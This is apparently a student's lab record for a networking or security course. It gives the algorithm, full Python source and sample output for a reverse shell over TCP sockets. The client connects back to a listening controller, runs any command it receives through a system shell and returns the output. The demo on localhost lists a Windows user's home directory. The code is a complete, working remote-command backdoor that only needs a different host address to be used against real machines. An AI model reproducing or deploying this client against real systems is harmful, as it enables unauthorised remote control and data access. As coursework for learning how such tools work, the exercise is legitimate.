Ex.No:8 **Date:29/09/25**

REVERSE SHELL USING TCP SOCKETS

Aim:

To develop a program to reverse shell using TCP Sockets.

Introduction:

Reverse Shell:

A reverse shell is a TCP connection where a target machine connects back to a controller, allowing remote command execution.

TCP Sockets:

TCP sockets are endpoints for a reliable, connection-based communication channel between two machines over the Internet or a network. They ensure ordered, error-checked data delivery.

Algorithm:

Server:

1. Create a socket and bind it to host and port.
2. Start listening for incoming client connections.
3. Accept a connection when a client connects.
4. Send user-entered commands to the connected client.
5. Receive and display the client's output; close on `quit`.

Client:

1. Create a socket and connect to the server.
2. Wait to receive a command from the server.
3. If the command is `cd`, change the directory; if `quit`, close connection.
4. Execute other commands using subprocess.
5. Send the command output and current directory back to the server.

Program Code:

Server:

```
import socket
import threading
host = '127.0.0.1'
port = 9999
def create_server_socket():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((host, port))
    server.listen(5)
    print(f"[+] Listening on {host}:{port}")
    return server
def handle_client(conn, addr):
    print(f"[+] Connection established with {addr[0]}:{addr[1]}")
    while True:
        try:
            command = input(f"{addr[0]}@shell> ")
            if command.lower() == 'quit':
                conn.send(command.encode())
                conn.close()
                break
            if command.strip():
                conn.send(command.encode())
                response = conn.recv(4096).decode()
                print(response)
        except Exception as e:
            print(f"[!] Error: {e}")
            conn.close()
```

```
            break
    def start_server():
        server = create_server_socket()
        while True:
            conn, addr = server.accept()
            client_thread = threading.Thread(target=handle_client, args=(conn,
    addr))
            client_thread.start()
    if __name__ == "__main__":
        start_server()
```

Client:

```
import socket
import subprocess
import os
host = '127.0.0.1'
port = 9999
def connect_to_server():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((host, port))
    while True:
        try:
            command = client.recv(1024).decode()
            if command.lower() == 'quit':
                break
            elif command.startswith('cd '):
                try:
                    os.chdir(command[3:].strip())
```

```
                    output = f"Changed directory to {os.getcwd()}"
                except Exception as e:
                    output = str(e)
            else:
                process = subprocess.Popen(command, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
                output = process.stdout.read() + process.stderr.read()
                output = output.decode()
            current_dir = os.getcwd() + "> "
            client.send((output + "\n" + current_dir).encode())
        except Exception as e:
            client.send(str(e).encode())
            break
    client.close()
if __name__ == "__main__":
    connect_to_server()
```

Output:

Client:

```
C:\Users\ponsu\Documents>python client5.py
```

Server:

```
C:\Users\ponsu\Documents>python server5.py
[+] Listening on 127.0.0.1:9999
[+] Connection established with 127.0.0.1:64390
127.0.0.1@shell> cd ..
Changed directory to C:\Users\ponsu
C:\Users\ponsu>
127.0.0.1@shell> dir
 Volume in drive C is Windows-SSD
 Volume Serial Number is E045-DB9B

 Directory of C:\Users\ponsu

01-10-2025  18:01    <DIR>          .
20-12-2024  19:05    <DIR>          ..
17-02-2025  19:00    <DIR>          .android
03-03-2025  15:54    <DIR>          .arduinoIDE
03-05-2025  19:07               174 .bashrc
03-05-2025  18:56                99 .bash_profile
17-02-2025  19:00                16 .emulator_console_auth_token
23-02-2025  16:38    <DIR>          .idlerc
29-12-2024  14:19    <DIR>          .ms-ad
24-05-2025  21:14                33 .node_repl_history
12-10-2025  15:46               176 .packettracer
02-08-2025  19:15    <DIR>          .VirtualBox
20-12-2024  01:11    <DIR>          .vscode
12-10-2025  19:30    <DIR>          Cisco Packet Tracer 8.2.2
20-12-2024  19:21    <DIR>          Contacts
05-10-2025  15:33    <DIR>          Desktop
12-10-2025  19:51    <DIR>          Documents
12-10-2025  19:22    <DIR>          Downloads
20-12-2024  19:21    <DIR>          Favorites
20-12-2024  19:21    <DIR>          Links
21-04-2025  08:57    <DIR>          Microsoft
20-12-2024  19:21    <DIR>          Music
19-12-2024  17:43    <DIR>          OneDrive
20-12-2024  19:21    <DIR>          Pictures
24-05-2025  21:17    <DIR>          Postman
20-12-2024  19:21    <DIR>          Saved Games
20-12-2024  19:21    <DIR>          Searches
28-12-2024  21:49    <DIR>          Videos
06-12-2024  19:04    <DIR>          VirtualBox VMs
               5 File(s)            498 bytes
              24 Dir(s)  848,433,197,056 bytes free

C:\Users\ponsu>
127.0.0.1@shell> echo "Reverse Shell"
"Reverse Shell"
```

Result:

Thus a program was developed and executed to reverse shell using TCP Sockets.